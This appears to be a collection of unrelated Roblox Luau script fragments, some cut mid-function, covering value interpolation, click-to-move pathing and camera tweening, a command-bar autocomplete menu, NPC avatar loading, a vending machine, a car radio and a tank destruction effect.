)
elseif typeString == "UDim2" then
return from:Lerp(to, ratio)
elseif typeString == "Vector2" then
return from:Lerp(to, ratio)
elseif typeString == "Vector2int16" then
return Vector2int16.new(
(to.X - from.X) * ratio + from.X,
(to.Y - from.Y) * ratio + from.Y
)
elseif typeString == "Vector3" then
return from:Lerp(to, ratio)
elseif typeString == "Vector3int16" then
return Vector3int16.new(
(to.X - from.X) * ratio + from.X,
(to.Y - from.Y) * ratio + from.Y,
(to.Z - from.Z) * ratio + from.Z
)
end
end
-- fallback case: the types are different or not animatable
if ratio < 0.5 then
return from
else
return to
end
end
return lerpType
|
------------------------------------------------------------------------
-- create a chunk reader from a source file
------------------------------------------------------------------------
--[[
function luaZ:make_getF(filename)
local LUAL_BUFFERSIZE = 512
local h = io.open(filename, "r")
if not h then return nil end
return function() -- chunk reader anonymous function here
if not h or io.type(h) == "closed file" then return nil end
local buff = h:read(LUAL_BUFFERSIZE)
if not buff then h:close(); h = nil end
return buff
end
end
--]]
------------------------------------------------------------------------
-- creates a zio input stream
-- returns the ZIO structure, z
------------------------------------------------------------------------
|
function luaZ:init(reader, data, name)
if not reader then return end
local z = {}
z.reader = reader
z.data = data or ""
z.name = name
-- set up additional data for reading
if not data or data == "" then z.n = 0 else z.n = #data end
z.p = 0
return z
end
|
--local joystickWidth = 250
--local joystickHeight = 250
|
local function IsInBottomLeft(pt)
local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250)
local joystickWidth = joystickHeight
return pt.X <= joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end
local function IsInBottomRight(pt)
local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250)
local joystickWidth = joystickHeight
return pt.X >= Utility.ViewSizeX() - joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end
local function CheckAlive(character)
local humanoid = findPlayerHumanoid(Player)
return humanoid ~= nil and humanoid.Health > 0
end
local function GetEquippedTool(character)
if character ~= nil then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
return child
end
end
end
end
local function ExploreWithRayCast(currentPoint, originDirection)
local TestDistance = 40
local TestVectors = {}
do
local forwardVector = originDirection;
for i = 0, 15 do
table.insert(TestVectors, CFrame.Angles(0, math.pi / 8 * i, 0) * forwardVector)
end
end
local testResults = {}
-- Heuristic should be something along the lines of distance and closeness to the traveling direction
local function ExploreHeuristic()
for _, testData in pairs(testResults) do
local walkDirection = -1 * originDirection
local directionCoeff = (walkDirection:Dot(testData['Vector']) + 1) / 2
local distanceCoeff = testData['Distance'] / TestDistance
testData["Value"] = directionCoeff * distanceCoeff
end
end
for i, vec in pairs(TestVectors) do
local hitPart, hitPos = Utility.Raycast(Ray.new(currentPoint, vec * TestDistance), true, {Player.Character})
if hitPos then
table.insert(testResults, {Vector = vec; Distance = (hitPos - currentPoint).magnitude})
else
table.insert(testResults, {Vector = vec; Distance = TestDistance})
end
end
ExploreHeuristic()
table.sort(testResults, function(a,b) return a["Value"] > b["Value"] end)
return testResults
end
local TapId = 1
local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil
local function CleanupPath()
DrivingTo = nil
if ExistingPather then
ExistingPather:Cancel()
end
if PathCompleteListener then
PathCompleteListener:disconnect()
PathCompleteListener = nil
end
if PathFailedListener then
PathFailedListener:disconnect()
PathFailedListener = nil
end
if ExistingIndicator then
DebrisService:AddItem(ExistingIndicator, 0)
ExistingIndicator = nil
end
end
local function getExtentsSize(Parts)
local maxX = Parts[1].Position.X
local maxY = Parts[1].Position.Y
local maxZ = Parts[1].Position.Z
local minX = Parts[1].Position.X
local minY = Parts[1].Position.Y
local minZ = Parts[1].Position.Z
for i = 2, #Parts do
maxX = math_max(maxX, Parts[i].Position.X)
maxY = math_max(maxY, Parts[i].Position.Y)
maxZ = math_max(maxZ, Parts[i].Position.Z)
minX = math_min(minX, Parts[i].Position.X)
minY = math_min(minY, Parts[i].Position.Y)
minZ = math_min(minZ, Parts[i].Position.Z)
end
return Region3.new(Vector3_new(minX, minY, minZ), Vector3_new(maxX, maxY, maxZ))
end
local function inExtents(Extents, Position)
if Position.X < (Extents.CFrame.p.X - Extents.Size.X/2) or Position.X > (Extents.CFrame.p.X + Extents.Size.X/2) then
return false
end
if Position.Z < (Extents.CFrame.p.Z - Extents.Size.Z/2) or Position.Z > (Extents.CFrame.p.Z + Extents.Size.Z/2) then
return false
end
--ignoring Y for now
return true
end
local AutoJumperInstance = nil
local ShootCount = 0
local FailCount = 0
local function OnTap(tapPositions, goToPoint)
-- Good to remember if this is the latest tap event
TapId = TapId + 1
local thisTapId = TapId
local camera = workspace.CurrentCamera
local character = Player.Character
if not CheckAlive(character) then return end
-- This is a path tap position
if #tapPositions == 1 or goToPoint then
if camera then
local unitRay = Utility.GetUnitRay(tapPositions[1].x, tapPositions[1].y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera)
local ray = Ray.new(unitRay.Origin, unitRay.Direction*400)
local hitPart, hitPt = Utility.Raycast(ray, true, {character})
local hitChar, hitHumanoid = Utility.FindChacterAncestor(hitPart)
local torso = character and character:FindFirstChild("Humanoid") and character:FindFirstChild("Humanoid").Torso
local startPos = torso.CFrame.p
if goToPoint then
hitPt = goToPoint
hitChar = nil
end
if hitChar and hitHumanoid and hitHumanoid.Torso and (hitHumanoid.Torso.CFrame.p - torso.CFrame.p).magnitude < 7 then
CleanupPath()
local myHumanoid = findPlayerHumanoid(Player)
if myHumanoid then
myHumanoid:MoveTo(hitPt)
end
ShootCount = ShootCount + 1
local thisShoot = ShootCount
-- Do shooot
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
elseif hitPt and character and not CurrentSeatPart then
local thisPather = Pather(character, hitPt)
if thisPather:IsValidPath() then
FailCount = 0
-- TODO: Remove when bug in engine is fixed
Player:Move(Vector3_new(1, 0, 0))
Player:Move(ZERO_VECTOR3)
thisPather:Start()
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(false)
end
CleanupPath()
local destinationGlobe = CreateDestinationIndicator(hitPt)
destinationGlobe.Parent = camera
ExistingPather = thisPather
ExistingIndicator = destinationGlobe
if AutoJumperInstance then
AutoJumperInstance:Run()
end
PathCompleteListener = thisPather.Finished:connect(function()
if AutoJumperInstance then
AutoJumperInstance:Stop()
end
if destinationGlobe then
if ExistingIndicator == destinationGlobe then
ExistingIndicator = nil
end
DebrisService:AddItem(destinationGlobe, 0)
destinationGlobe = nil
end
if hitChar then
local humanoid = findPlayerHumanoid(Player)
ShootCount = ShootCount + 1
local thisShoot = ShootCount
-- Do shoot
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
if humanoid then
humanoid:MoveTo(hitPt)
end
end
local finishPos = torso and torso.CFrame.p --hitPt
if finishPos and startPos and tick() - Utility.GetLastInput() > 2 then
local exploreResults = ExploreWithRayCast(finishPos, ((startPos - finishPos) * XZ_VECTOR3).unit)
-- Check for Nans etc..
if exploreResults[1] and exploreResults[1]["Vector"] and exploreResults[1]["Vector"].magnitude >= 0.5 and exploreResults[1]["Distance"] > 3 then
if CameraModule then
local rotatedCFrame = CameraModule:LookAtPreserveHeight(finishPos + exploreResults[1]["Vector"] * exploreResults[1]["Distance"])
local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame)
end
end
end
end)
PathFailedListener = thisPather.PathFailed:connect(function()
if AutoJumperInstance then
AutoJumperInstance:Stop()
end
if destinationGlobe then
FlashRed(destinationGlobe)
DebrisService:AddItem(destinationGlobe, 3)
end
end)
else
if hitPt then
-- Feedback here for when we don't have a good path
local failedGlobe = CreateDestinationIndicator(hitPt)
FlashRed(failedGlobe)
DebrisService:AddItem(failedGlobe, 1)
failedGlobe.Parent = camera
if ExistingIndicator == nil then
FailCount = FailCount + 1
if FailCount >= 3 then
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(true)
end
CleanupPath()
end
end
end
end
elseif hitPt and character and CurrentSeatPart then
local destinationGlobe = CreateDestinationIndicator(hitPt)
destinationGlobe.Parent = camera
ExistingIndicator = destinationGlobe
DrivingTo = hitPt
local ConnectedParts = CurrentSeatPart:GetConnectedParts(true)
while task.wait() do
if CurrentSeatPart and ExistingIndicator == destinationGlobe then
local ExtentsSize = getExtentsSize(ConnectedParts)
if inExtents(ExtentsSize, destinationGlobe.Position) then
DebrisService:AddItem(destinationGlobe, 0)
destinationGlobe = nil
DrivingTo = nil
break
end
else
DebrisService:AddItem(destinationGlobe, 0)
if CurrentSeatPart == nil and destinationGlobe == ExistingIndicator then
DrivingTo = nil
OnTap(tapPositions, hitPt)
end
destinationGlobe = nil
break
end
end
else
-- no hit pt
end
end
elseif #tapPositions >= 2 then
if camera then
ShootCount = ShootCount + 1
local thisShoot = ShootCount
-- Do shoot
local avgPoint = Utility.AveragePoints(tapPositions)
local unitRay = Utility.GetUnitRay(avgPoint.x, avgPoint.y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera)
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
end
end
end
local function CreateClickToMoveModule()
local this = {}
local LastStateChange = 0
local LastState = Enum.HumanoidStateType.Running
local FingerTouches = {}
local NumUnsunkTouches = 0
-- PC simulation
local mouse1Down = tick()
local mouse1DownPos = Vector2.new()
local mouse2Down = tick()
local mouse2DownPos = Vector2.new()
local mouse2Up = tick()
local movementKeys = {
[Enum.KeyCode.W] = true;
[Enum.KeyCode.A] = true;
[Enum.KeyCode.S] = true;
[Enum.KeyCode.D] = true;
[Enum.KeyCode.Up] = true;
[Enum.KeyCode.Down] = true;
}
local TapConn = nil
local InputBeganConn = nil
local InputChangedConn = nil
local InputEndedConn = nil
local HumanoidDiedConn = nil
local CharacterChildAddedConn = nil
local OnCharacterAddedConn = nil
local CharacterChildRemovedConn = nil
local RenderSteppedConn = nil
local HumanoidSeatedConn = nil
local function disconnectEvent(event)
if event then
event:disconnect()
end
end
local function DisconnectEvents()
disconnectEvent(TapConn)
disconnectEvent(InputBeganConn)
disconnectEvent(InputChangedConn)
disconnectEvent(InputEndedConn)
disconnectEvent(HumanoidDiedConn)
disconnectEvent(CharacterChildAddedConn)
disconnectEvent(OnCharacterAddedConn)
disconnectEvent(RenderSteppedConn)
disconnectEvent(CharacterChildRemovedConn)
pcall(function() RunService:UnbindFromRenderStep("ClickToMoveRenderUpdate") end)
disconnectEvent(HumanoidSeatedConn)
end
local function IsFinite(num)
return num == num and num ~= 1/0 and num ~= -1/0
end
local function findAngleBetweenXZVectors(vec2, vec1)
return math_atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z)
end
-- Setup the camera
CameraModule = ClassicCameraModule()
do
-- Extend The Camera Module Class
function CameraModule:LookAtPreserveHeight(newLookAtPt)
local camera = workspace.CurrentCamera
local focus = camera.Focus.p
local cameraCFrame = CameraModule.cframe
local mag = Vector3_new(cameraCFrame.lookVector.x, 0, cameraCFrame.lookVector.z).magnitude
local newLook = (Vector3_new(newLookAtPt.x, focus.y, newLookAtPt.z) - focus).unit * mag
local flippedLook = newLook + Vector3_new(0, cameraCFrame.lookVector.y, 0)
local distance = (focus - cameraCFrame.p).magnitude
local newCamPos = focus - flippedLook.unit * distance
return CFrame.new(newCamPos, newCamPos + flippedLook)
end
local lerp = CFrame.new().lerp
function CameraModule:TweenCameraLook(desiredCFrame, speed)
local e = 2.718281828459
local function SCurve(t)
return 1/(1 + e^(-t*1.5))
end
local function easeOutSine(t, b, c, d)
if t >= d then return b + c end
return c * math_sin(t/d * (math_pi/2)) + b;
end
local c0, c1 = CFrame_new(ZERO_VECTOR3, self:GetCameraLook()), desiredCFrame - desiredCFrame.p
local theta = GetThetaBetweenCFrames(c0, c1)
theta = clamp(0, math_pi, theta)
local duration = 0.65 * SCurve(theta - math_pi/4) + 0.15
if speed then
duration = theta / speed
end
local start = tick()
local finish = start + duration
self.UpdateTweenFunction = function()
local currTime = tick() - start
local alpha = clamp(0, 1, easeOutSine(currTime, 0, 1, duration))
local newCFrame = lerp(c0, c1, alpha)
local y = findAngleBetweenXZVectors(newCFrame.lookVector, self:GetCameraLook())
if IsFinite(y) and math_abs(y) > 0.0001 then
self.RotateInput = self.RotateInput + Vector2_new(y, 0)
end
return (currTime >= finish or alpha >= 1)
end
end
end
--- Done Extending
local function OnTouchBegan(input, processed)
if FingerTouches[input] == nil and not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
FingerTouches[input] = processed
end
local function OnTouchChanged(input, processed)
if FingerTouches[input] == nil then
FingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
end
local function OnTouchEnded(input, processed)
--print("Touch tap fake:" , processed)
--if not processed then
-- OnTap({input.Position})
--end
if FingerTouches[input] ~= nil and FingerTouches[input] == false then
NumUnsunkTouches = NumUnsunkTouches - 1
end
FingerTouches[input] = nil
end
local function OnCharacterAdded(character)
DisconnectEvents()
InputBeganConn = UIS.InputBegan:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchBegan(input, processed)
-- Give back controls when they tap both sticks
local wasInBottomLeft = IsInBottomLeft(input.Position)
local wasInBottomRight = IsInBottomRight(input.Position)
if wasInBottomRight or wasInBottomLeft then
for otherInput, _ in pairs(FingerTouches) do
if otherInput ~= input then
local otherInputInLeft = IsInBottomLeft(otherInput.Position)
local otherInputInRight = IsInBottomRight(otherInput.Position)
if otherInput.UserInputState ~= Enum.UserInputState.End and ((wasInBottomLeft and otherInputInRight) or (wasInBottomRight and otherInputInLeft)) then
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(true)
end
return
end
end
end
end
end
-- Cancel path when you use the keyboard controls.
if processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then
CleanupPath()
end
if input.UserInputType == Enum.UserInputType.MouseButton1 then
mouse1Down = tick()
mouse1DownPos = input.Position
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
mouse2Down = tick()
mouse2DownPos = input.Position
end
end)
InputChangedConn = UIS.InputChanged:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchChanged(input, processed)
end
end)
InputEndedConn = UIS.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchEnded(input, processed)
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
mouse2Up = tick()
local currPos = input.Position
if mouse2Up - mouse2Down < 0.25 and (currPos - mouse2DownPos).magnitude < 5 then
local positions = {currPos}
OnTap(positions)
end
end
end)
TapConn = UIS.TouchTap:connect(function(touchPositions, processed)
if not processed then
OnTap(touchPositions)
end
end)
if not UIS.TouchEnabled then -- PC
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
end
AutoJumperInstance = AutoJumper()
end
local function getThrottleAndSteer(object, point)
local lookVector = (point - object.Position)
lookVector = Vector3_new(lookVector.X, 0, lookVector.Z).unit
local objectVector = Vector3_new(object.CFrame.lookVector.X, 0, object.CFrame.lookVector.Z).unit
local dirVector = lookVector - objectVector
local mag = dirVector.magnitude
local degrees = math_deg(math_acos(lookVector:Dot(objectVector)))
local side = (object.CFrame:pointToObjectSpace(point).X > 0)
local throttle = 0
if mag < 0.25 then
throttle = 1
end
if mag > 1.8 then
throttle = -1
end
local distance = CurrentSeatPart.Position - DrivingTo
local velocity = CurrentSeatPart.Velocity
if velocity.magnitude*1.5 > distance.magnitude then
if velocity.magnitude*0.5 > distance.magnitude then
throttle = -throttle
else
throttle = 0
end
end
local steer = 0
if degrees > 5 and degrees < 175 then
if side then
steer = 1
else
steer = -1
end
end
local rotatingAt = math_deg(CurrentSeatPart.RotVelocity.magnitude)
local degreesAway = math_max(math_min(degrees, 180 - degrees), 10)
if (CurrentSeatPart.RotVelocity.X < 0)== (steer < 0) then
if rotatingAt*1.5 > degreesAway then
if rotatingAt*0.5 > degreesAway then
steer = -steer
else
steer = 0
end
end
end
return throttle, steer
end
local function Update()
if CameraModule then
if CameraModule.UserPanningTheCamera then
CameraModule.UpdateTweenFunction = nil
else
if CameraModule.UpdateTweenFunction then
local done = CameraModule.UpdateTweenFunction()
if done then
CameraModule.UpdateTweenFunction = nil
end
end
end
CameraModule:Update()
end
if CurrentSeatPart then
if DrivingTo then
local throttle, steer = getThrottleAndSteer(CurrentSeatPart, DrivingTo)
CurrentSeatPart.Throttle = throttle
CurrentSeatPart.Steer = steer
end
end
end
local success = pcall(function() RunService:BindToRenderStep("ClickToMoveRenderUpdate",Enum.RenderPriority.Camera.Value - 1,Update) end)
if not success then
if RenderSteppedConn then
RenderSteppedConn:disconnect()
end
RenderSteppedConn = RunService.RenderStepped:connect(Update)
end
local WasAutoJumper = false
local WasAutoJumpMobile = false
local function onSeated(child, active, currentSeatPart)
if active then
if BindableEvent_EnableTouchJump then
BindableEvent_EnableTouchJump:Fire(true)
end
if currentSeatPart and currentSeatPart.ClassName == "VehicleSeat" then
CurrentSeatPart = currentSeatPart
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
WasAutoJumper = true
else
WasAutoJumper = false
end
if child.AutoJumpEnabled then
WasAutoJumpMobile = true
child.AutoJumpEnabled = false
end
end
else
CurrentSeatPart = nil
if BindableEvent_EnableTouchJump then
BindableEvent_EnableTouchJump:Fire(false)
end
if WasAutoJumper then
AutoJumperInstance = AutoJumper()
WasAutoJumper = false
end
if WasAutoJumpMobile then
child.AutoJumpEnabled = true
WasAutoJumpMobile = false
end
end
end
local function OnCharacterChildAdded(child)
if UIS.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = true
end
end
if child:IsA('Humanoid') then
disconnectEvent(HumanoidDiedConn)
HumanoidDiedConn = child.Died:connect(function()
DebrisService:AddItem(ExistingIndicator, 1)
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
end
end)
local WasAutoJumper = false
local WasAutoJumpMobile = false
HumanoidSeatedConn = child.Seated:connect(function(active, seat) onSeated(child, active, seat) end)
if child.SeatPart then
onSeated(child, true, child.SeatPart)
end
end
end
CharacterChildAddedConn = character.ChildAdded:connect(function(child)
OnCharacterChildAdded(child)
end)
CharacterChildRemovedConn = character.ChildRemoved:connect(function(child)
if UIS.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end)
for _, child in pairs(character:GetChildren()) do
OnCharacterChildAdded(child)
end
end
local Running = false
function this:Stop()
if Running then
DisconnectEvents()
CleanupPath()
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
end
if CameraModule then
CameraModule.UpdateTweenFunction = nil
CameraModule:SetEnabled(false)
end
-- Restore tool activation on shutdown
if UIS.TouchEnabled then
local character = Player.Character
if character then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end
end
DrivingTo = nil
Running = false
end
end
function this:Start()
if not Running then
if Player.Character then -- retro-listen
OnCharacterAdded(Player.Character)
end
OnCharacterAddedConn = Player.CharacterAdded:connect(OnCharacterAdded)
if CameraModule then
CameraModule:SetEnabled(true)
end
Running = true
end
end
return this
end
return CreateClickToMoveModule
|
--[=[
Observes an instance's ancestry
@param instance Instance
@param className string
@return Observable<Instance?>
]=]
|
function RxInstanceUtils.observeFirstAncestor(instance, className)
assert(typeof(instance) == "Instance", "Bad instance")
assert(type(className) == "string", "Bad className")
return Observable.new(function(sub)
local maid = Maid.new()
local lastFound = UNSET_VALUE
local function handleAncestryChanged()
local found = instance:FindFirstAncestorWhichIsA(className)
if found ~= lastFound then
lastFound = found
sub:Fire(found)
end
end
maid:GiveTask(instance.AncestryChanged:Connect(handleAncestryChanged))
handleAncestryChanged()
return maid
end)
end
|
-- luacheck: ignore 212
|
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
return function(Cmdr)
local AutoComplete = {
Items = {},
ItemOptions = {},
SelectedItem = 0,
}
local Util = Cmdr.Util
local Gui = Player:WaitForChild("PlayerGui"):WaitForChild("Cmdr"):WaitForChild("Autocomplete")
local AutoItem = Gui:WaitForChild("TextButton")
local Title = Gui:WaitForChild("Title")
local Description = Gui:WaitForChild("Description")
local Entry = Gui.Parent:WaitForChild("Frame"):WaitForChild("Entry")
AutoItem.Parent = nil
-- Helper function that sets text and resizes labels
local function SetText(obj, textObj, text, sizeFromContents)
obj.Visible = text ~= nil
textObj.Text = text or ""
if sizeFromContents then
textObj.Size = UDim2.new(
0,
Util.GetTextSize(text or "", textObj, Vector2.new(1000, 1000), 1, 0).X,
obj.Size.Y.Scale,
obj.Size.Y.Offset
)
end
end
-- Update the info display (Name, type, and description) based on given options.
local function UpdateInfoDisplay(options)
-- Update the objects' text and sizes
SetText(Title, Title.Field, options.name, true)
SetText(
Title.Field.Type,
Title.Field.Type,
options.type and ": " .. options.type:sub(1, 1):upper() .. options.type:sub(2)
)
SetText(Description, Description.Label, options.description)
Description.Label.TextColor3 = options.invalid and Color3.fromRGB(255, 73, 73) or Color3.fromRGB(255, 255, 255)
-- Calculate needed width and height
local infoWidth = Title.Field.TextBounds.X + Title.Field.Type.TextBounds.X
local guiWidth = math.max(infoWidth, Gui.Size.X.Offset)
Description.Size = UDim2.new(1, 0, 0, 40)
-- Flow description text
while not Description.Label.TextFits do
Description.Size = Description.Size + UDim2.new(0, 0, 0, 2)
if Description.Size.Y.Offset > 500 then
break
end
end
-- Update container
wait()
Gui.UIListLayout:ApplyLayout()
Gui.Size = UDim2.new(0, guiWidth, 0, Gui.UIListLayout.AbsoluteContentSize.Y)
end
--- Shows the auto complete menu with the given list and possible options
-- item = {typedText, suggestedText, options?=options}
-- The options table is optional. `at` should only be passed into AutoComplete::Show
-- name, type, and description may be passed in an options dictionary inside the items as well
-- options.at?: the character index at which to show the menu
-- options.name?: The name to display in the info box
-- options.type?: The type to display in the info box
-- options.prefix?: The current type prefix (%Team)
-- options.description?: The description for the currently active info box
-- options.invalid?: If true, description is shown in red.
-- options.isLast?: If true, auto complete won't keep going after this argument.
function AutoComplete:Show(items, options)
options = options or {}
-- Remove old options.
for _, item in pairs(self.Items) do
if item.gui then
item.gui:Destroy()
end
end
-- Reset state
self.SelectedItem = 1
self.Items = items
self.Prefix = options.prefix or ""
self.LastItem = options.isLast or false
self.Command = options.command
self.Arg = options.arg
self.NumArgs = options.numArgs
self.IsPartial = options.isPartial
-- Generate the new option labels
local autocompleteWidth = 200
for i, item in pairs(self.Items) do
local leftText = item[1]
local rightText = item[2]
local btn = AutoItem:Clone()
btn.Name = leftText .. rightText
btn.BackgroundTransparency = i == self.SelectedItem and 0.5 or 1
btn.Typed.Text = leftText
btn.Suggest.Text = string.rep(" ", #leftText) .. rightText:sub(#leftText + 1)
btn.Parent = Gui
btn.LayoutOrder = i
local maxBounds = math.max(btn.Typed.TextBounds.X, btn.Suggest.TextBounds.X) + 20
if maxBounds > autocompleteWidth then
autocompleteWidth = maxBounds
end
item.gui = btn
end
Gui.UIListLayout:ApplyLayout()
-- Todo: Use TextService to find accurate position for auto complete box
local text = Entry.TextBox.Text
local words = Util.SplitString(text)
if text:sub(#text, #text) == " " and not options.at then
words[#words + 1] = "e"
end
table.remove(words, #words)
local extra = (options.at and options.at or (#table.concat(words, " ") + 1)) * 7
-- Update the auto complete container
Gui.Position =
UDim2.new(0, Entry.TextBox.AbsolutePosition.X - 10 + extra, 0, Entry.TextBox.AbsolutePosition.Y + 30)
Gui.Size = UDim2.new(0, autocompleteWidth, 0, Gui.UIListLayout.AbsoluteContentSize.Y)
Gui.Visible = true
-- Finally, update thge info display
UpdateInfoDisplay(self.Items[1] and self.Items[1].options or options)
end
--- Returns the selected item in the auto complete
function AutoComplete:GetSelectedItem()
if Gui.Visible == false then
return nil
end
return AutoComplete.Items[AutoComplete.SelectedItem]
end
--- Hides the auto complete
function AutoComplete:Hide()
Gui.Visible = false
end
--- Returns if the menu is visible
function AutoComplete:IsVisible()
return Gui.Visible
end
--- Changes the user's item selection by the given delta
function AutoComplete:Select(delta)
if not Gui.Visible then
return
end
self.SelectedItem = self.SelectedItem + delta
if self.SelectedItem > #self.Items then
self.SelectedItem = 1
elseif self.SelectedItem < 1 then
self.SelectedItem = #self.Items
end
for i, item in pairs(self.Items) do
item.gui.BackgroundTransparency = i == self.SelectedItem and 0.5 or 1
end
if self.Items[self.SelectedItem] and self.Items[self.SelectedItem].options then
UpdateInfoDisplay(self.Items[self.SelectedItem].options or {})
end
end
return AutoComplete
end
|
--[=[
Initializes an attribute for a given instance
@param instance Instance
@param attributeName string
@param default any
@return any? -- The value of the attribute
]=]
|
function AttributeUtils.initAttribute(instance, attributeName, default)
assert(typeof(instance) == "Instance", "Bad instance")
assert(typeof(attributeName) == "string", "Bad attributeName")
local value = instance:GetAttribute(attributeName)
if value == nil then
instance:SetAttribute(attributeName, default)
value = default
end
return value
end
|
--[[
Calculates throttle and steer as influenced by user inputs
]]
|
function UserInput.get()
return throttle, steer
end
return UserInput
|
-- Then, get a FriendPages object for their friends
|
local friendPages = Players:GetFriendsAsync(userId)
local friends = {}
for item,pageNO in iterPageItems(friendPages) do
table.insert(friends,item.Id)
end
local usernames = {}
for item,pageNO in iterPageItems(friendPages) do
table.insert(usernames,item.Username)
end
local random = math.random(#friends)
local randomFriend = friends[random]
local newhumanoid = game.Players:GetHumanoidDescriptionFromUserId(randomFriend)
local npc = script.Parent
npc.Humanoid:ApplyDescription(newhumanoid)
npc.NameNPC.Value = usernames[random]
|
-- This is the Selection Script of a BloxyCola, an easer way to under stand this
|
local drink = script.Parent.Parent.Snacks.BloxyCola -- Location of BloxyCola, the soda we want to fall out of Holder1
local spot = script.Parent.Parent.Holders.Holder1 -- Location of Holder1, place where soda is dropped
local db = false -- I honestly don't know what this means
function onClick() -- once you click the button, a soda will appear in Holder1
if db == false then
db = true
local d = drink:clone() -- Cloning the soda to fall out of Holder1
d.Handle.Position = spot.Position
d.Parent = game.Workspace
d.Handle.Anchored = false
wait(5) -- How long you have to wait until you can drop another soda
db = false
end
end
script.Parent.ClickDetector.MouseClick:connect(onClick)
|
-- carSeat.Parent.Body.Dash.Screen.G.Radio.VOLMENU.VolumeText.Text = "VOLUME: "..carSeat.Parent.Body.MP.Sound.Volume
|
end
F.updateSong = function(Song)
carSeat.Parent.Body.MP.Sound:Stop()
wait()
carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..Song
wait()
carSeat.Parent.Body.MP.Sound:Play()
end
F.lg = function(n)
carSeat.Parent.Body.MP.Sound.ES.HighGain = n
end
F.mg = function(n)
carSeat.Parent.Body.MP.Sound.ES.HighGain = n
end
F.hg = function(n)
carSeat.Parent.Body.MP.Sound.ES.HighGain = n
end
F.eq = function(n)
carSeat.Parent.Body.MP.Sound.ES.Enabled = n
end
F.updateVolume = function(Vol)
carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol
|
-- Right Arm
|
character:FindFirstChild("LeftUpperArm").LocalTransparencyModifier = 0
character:FindFirstChild("LeftLowerArm").LocalTransparencyModifier = 0
character:FindFirstChild("LeftHand").LocalTransparencyModifier = 0
|
-- set up keyframe name triggers
|
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:Disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:Connect(keyFrameReachedFunc)
end
end
|
--- Parses escape sequences into their fully qualified characters
|
function Util.ParseEscapeSequences(text)
return text:gsub("\\(.)", {
t = "\t";
n = "\n";
})
:gsub("\\u(%x%x%x%x)", charCode)
:gsub("\\x(%x%x)", charCode)
end
local function encodeControlChars(text)
return first(
text
:gsub("\\\\", string.char(17))
:gsub("\\\"", string.char(18))
:gsub("\\'", string.char(19))
)
end
local function decodeControlChars(text)
return first(
text
:gsub(string.char(17), "\\")
:gsub(string.char(18), "\"")
:gsub(string.char(19), "'")
)
end
|
-- Start of Destroyed Animation
|
-- Start of Flag Popping Animation
Vehicle.Turret.Rod.Transparency = 0
Vehicle.Turret.Rod.Hatch:Play()
wait(1)
Vehicle.Turret.Flag.Transparency = 0
Vehicle.Turret.Flag.Pop:Play()
Vehicle.Turret.Flag.Pop2:Play()
wait()
Vehicle.Turret.Flag.Pop.Volume = 0
Vehicle.Turret.Flag.Pop2.Volume = 0
Vehicle.Turret.Rod.Hatch.Volume = 0
-- End of Flag Popping
-- Start of Explosion Thingy
local Explo = Instance.new ("Sound")
Explo.SoundId = "rbxassetid://689314212"
Explo.PlayOnRemove = false
Explo.Parent = Engine
Explo:play()
wait()
local Explosion = Instance.new("Explosion")
Explosion.BlastRadius = 5
Explosion.BlastPressure = 1
Explosion.Parent = game.Workspace
Explosion.Position = Engine.Position
Explosion.DestroyJointRadiusPercent = 0
-- End of Explosion Thingy
-- Deletion of Velocities
Engine.Parent.VehicleSeat.Throttle = Engine.Parent.VehicleSeat.Throttle
Engine.Parent.VehicleSeat.MaxSpeed = Engine.Parent.VehicleSeat.MaxSpeed
Engine.Parent.VehicleSeat.Steer = Engine.Parent.VehicleSeat.Steer
Engine.BodyAngularVelocity:Destroy()
Engine.BodyGyro:Destroy()
Engine.BodyVelocity:Destroy()
print("BodyAngularVelocity,BodyGyro,BodyVelocity Deleted, Enemy Tank Disabled")
-- Generation of Fire
local fi = Instance.new("Fire")
fi.Heat = 25
fi.Size = 10
fi.Parent = Engine
local Smokey = script.DisabledVehicleSmoke:Clone()
Smokey.Parent = Engine
Smokey.Name = "DSmoke"
Smokey.Enabled = true
print("End of DestroyScript")
end
|
--[[
automatically un assings an ID for the user and makes it free for the next user
--]]
|
